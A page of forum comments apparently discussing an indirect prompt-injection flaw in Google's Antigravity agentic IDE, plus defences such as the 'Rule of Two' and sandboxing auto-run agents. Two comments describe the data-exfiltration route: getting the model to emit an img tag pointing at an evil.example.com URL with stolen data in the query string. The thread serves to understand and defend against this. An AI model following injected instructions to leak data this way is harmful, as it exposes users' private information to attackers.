This is kind of the LLM equivalent to “hello I’m the CEO please email me your password to the CI/CD system immediately so we can sell the company for $1000/share.”
Google Antigravity exfiltrates data via indirect prompt injection attack
171–180 of 227 posts
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#172Earlier quoted context omitted.
Can you elaborate? How does an attacker turn "any of your users can even access the output of a chat or other generated text" into a means of exfiltrating data to the attacker ? Are you just worried about social engineering — that is, if the attacker can make the LLM say "to complete registration, please paste the following hex code into evil.example.com:", then a large number of human users will just do that? I mean…
Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.
Yes, even a GET request can change the state of the external world, even if that's strictly speaking against the spec.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#173I really liked Simon's Willison's [1] and Meta's [2] approach using the "Rule of Two". You can have no more than 2 of the following: - A) Process untrustworthy input - B) Have access to private data - C) Be able to change external state or communicate externally. It's not bullet-proof, but it has helped communicate to my management that these tools have inherent risk when they hit all three categories above (and any…
You can't process untrustworthy data, period. There are so many things that can go wrong with that.
Something need to process the untrustworthy data before it can become trustworthy =/
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#174Earlier quoted context omitted.
So if an agent has no access to non-public data, that's (A) and (C) - the worst an attacker can do, as you note, is socially engineer themselves. But say you're building an agent that does have access to non-public data - say, a bot that can take your team's secret internal CRM notes about a client, or Top Secret Info about the Top Secret Suppliers relevant to their inquiry, or a proprietary basis for fraud detection…
Your elaboration seems to assume that you already have (C). I was asking, how do you get to (C) — what made you say "(C) extends to any situation where any of your users can even access the output of a chat or other generated text"?
I think it’s because the state is leaving the backend server running the LLM and output to the browser, where various attacks are possible to send requests out to the internet (either directly or through social engineering).
Avoiding C means the output is strictly used within your system.
These problems will never be fully solved given how LLMs work… system prompts, user inputs, at the end of the day it’s all just input to the model.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#175The most concerning part isn't the vulnerability itself, but Google classifying it as a "Known Issue" ineligible for rewards. It implies this is an architectural choice, not a bug.
They are effectively admitting that you can't have an "agentic" IDE that is both useful and safe. They prioritized the feature set (reading files + internet access) over the sandbox. We are basically repeating the "ActiveX" mistakes of the 90s, but this time with LLMs driving the execution.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#176Earlier quoted context omitted.
Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.
Yes, even a GET request can change the state of the external world, even if that's strictly speaking against the spec.
Yes, and get requests with the sensitive data as query parameters are often used to exfiltrate data. The attackers doesn't even need to set up a special handler, as long as they can read the access logs.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#177I said months ago you'd be nuts to let these things loose on your machine. Quelle surprise.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#178The most concerning part isn't the vulnerability itself, but Google classifying it as a "Known Issue" ineligible for rewards. It implies this is an architectural choice, not a bug. They are effectively admitting that you can't have an "agentic" IDE that is both useful and safe. They prioritized the feature set (reading files + internet access) over the sandbox. We are basically repeating the "ActiveX" mistakes of the…
That's a misinterpretation of what they mean by "known issue". Here's the full context from https://bughunters.google.com/learn/invalid-reports/google-p...
> For full transparency and to keep external security researchers hunting bugs in Google products informed, this article outlines some vulnerabilities in the new Antigravity product that we are currently aware of and are working to fix.
Note the "are working to fix". It's classified as a "known issue" because you can't earn any bug bounty money for reporting it to them.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#179Earlier quoted context omitted.
I do think they deserve some of the blame for encouraging you to allow all commands automatically by default.
YOLO-mode agents should be in a dedicated VM at minimum, if not a dedicated physical machine with a strict firewall. They should be treated as presumed malware that just happens to do something useful as a side effect. Vendors should really be encouraging this and providing tooling to facilitate it. There should be flashing red warnings in any agentic IDE/CLI whenever the user wants to use YOLO mode without a remote…
But they literally called it 'yolo mode'. It's an idiot button. If they added protections by default, someone would just demand an option to disable all the protections, and all the idiots would use that.
Re: Google Antigravity exfiltrates data via indirect prompt injection attack
#180Earlier quoted context omitted.
YOLO-mode agents should be in a dedicated VM at minimum, if not a dedicated physical machine with a strict firewall. They should be treated as presumed malware that just happens to do something useful as a side effect. Vendors should really be encouraging this and providing tooling to facilitate it. There should be flashing red warnings in any agentic IDE/CLI whenever the user wants to use YOLO mode without a remote…
But they literally called it 'yolo mode'. It's an idiot button. If they added protections by default, someone would just demand an option to disable all the protections, and all the idiots would use that.
I'm not sure you fully understood my suggestion. Just to clarify, it's to add a feature, not remove one. There's nothing inherently idiotic about giving AI access to a CLI; what's idiotic is giving it access to your CLI.
It's also not literally called "YOLO mode" universally. Cursor renamed it to "Auto-Run" a while back, although it does at least run in some sort of sandbox by default (no idea how it works offhand or whether it adds any meaningful security in practice).